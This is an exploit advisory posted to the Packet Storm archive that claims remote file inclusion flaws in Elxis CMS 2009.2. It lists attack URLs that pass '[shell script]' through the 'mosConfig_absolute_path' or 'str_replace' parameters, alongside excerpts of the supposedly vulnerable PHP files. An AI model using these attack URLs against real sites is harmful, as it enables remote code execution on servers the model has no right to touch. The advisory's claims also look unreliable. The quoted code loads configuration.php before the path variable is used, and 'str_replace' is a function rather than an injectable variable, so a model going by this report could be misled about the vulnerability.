what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Elxis CMS 2009.2 Remote File Inclusion

Elxis CMS 2009.2 Remote File Inclusion
Posted Jan 8, 2011
Authored by n0n0x

Elxis CMS version 2009.2 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion
SHA-256 | 69fd2381c0989afc57aa0f27564cb60233e7c8765933ba7ecc5c9ca4ef8ff54a

Elxis CMS 2009.2 Remote File Inclusion

Change Mirror Download
###############################################
# _______ _______ #
# _______ __ __ \_______ __ __ \____ __ #
# __ _ \_ / / /__ __ \_ / / /__ |/_/ #
# _ / / // /_/ / _ / / // /_/ / __> < #
# /_/ /_/ \____/ /_/ /_/ \____/ /_/|_| #
# #
# priasantai.uni.cc | team-elite.us #
###############################################

#######################################################
#
# elxis_2009.2_electra_rev2631 <=== multiple Remote File Include
#
#######################################################
# Author : n0n0x
#
# Homepage: http://priasantai.uni.cc/
#
# Download script : http://www.elxis-downloads.com/downloads/elxis-cms/272.html
#######################################################

file : index.php

http://site.com/elxis-cms/index.php?mosConfig_absolute_path=[shell script]


c0de :

require_once('configuration.php');
if (file_exists($mosConfig_absolute_path.'/installation/index.php')) {
if (!defined('_ELXIS_SYSALERT')) { define('_ELXIS_SYSALERT', 3); }
if (!defined('_ELXIS_SYSALERT_MSG')) { define('_ELXIS_SYSALERT_MSG', 'Please delete the <strong>installation</strong> folder.'); }
include($mosConfig_absolute_path.'/includes/systemplates/router.php');
exit();
}

require_once($mosConfig_absolute_path.'/includes/Core/loader.php');


file : index2.php

http://site.com/elxis-cms/index2.php?mosConfig_absolute_path=[shell script]

c0de :

require_once('configuration.php');
$mosConfig_gzip = '0'; //gzip makes seo title suggestion feature to stop working
if (file_exists($mosConfig_absolute_path.'/installation/index.php')) {
if (!defined('_ELXIS_SYSALERT')) { define('_ELXIS_SYSALERT', 3); }
if (!defined('_ELXIS_SYSALERT_MSG')) { define('_ELXIS_SYSALERT_MSG', 'Please delete the <strong>installation</strong> folder.'); }
include($mosConfig_absolute_path.'/includes/systemplates/router.php');
exit();
}

require_once( $mosConfig_absolute_path.'/includes/Core/loader.php' );

file : index.php

http://site.com/elxis-cms/administrator/index.php?str_replace=[shell script]

c0de :

/** Set flag that this is a parent file */
define( '_VALID_MOS', 1 );
define( '_ELXIS_ADMIN', 1 );


$elxis_root = str_replace('/administrator', '', str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__)));
require_once($elxis_root.'/includes/Core/security.php');

if (!file_exists($elxis_root.'/configuration.php')) {
header('Location: ../installation/index.php');
exit();
}

require_once($elxis_root.'/configuration.php');
require_once($elxis_root.'/includes/Core/loader.php');

file : index2.php

http://site.com/elxis-cms/administrator/index2.php?str_replace=[shell script]
http://site.com/elxis-cms/administrator/index2.php?mosConfig_absolute_path=[shell script]

c0de :

define( '_VALID_MOS', 1 );
define( '_ELXIS_ADMIN', 1 );

$elxis_root = str_replace('/administrator', '', str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__)));
require_once($elxis_root.'/includes/Core/security.php');

if (!file_exists($elxis_root.'/configuration.php' )) {
header("Location: ../installation/index.php");
exit();
}

require_once($elxis_root.'/configuration.php');
require_once($elxis_root.'/includes/Core/loader.php');
require_once($mosConfig_absolute_path.'/administrator/includes/admin.php');


#######################################################
# Greetz: all member | manadocoding.org - sekuritiOnline.net - h4ckb0x.org - team-elite.us
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3, opa, xoron, pitch, thama, s0ny,
# devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet.
#
# chats : irc.auzs.net 6667-7000 #exploit-db
######################################################

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close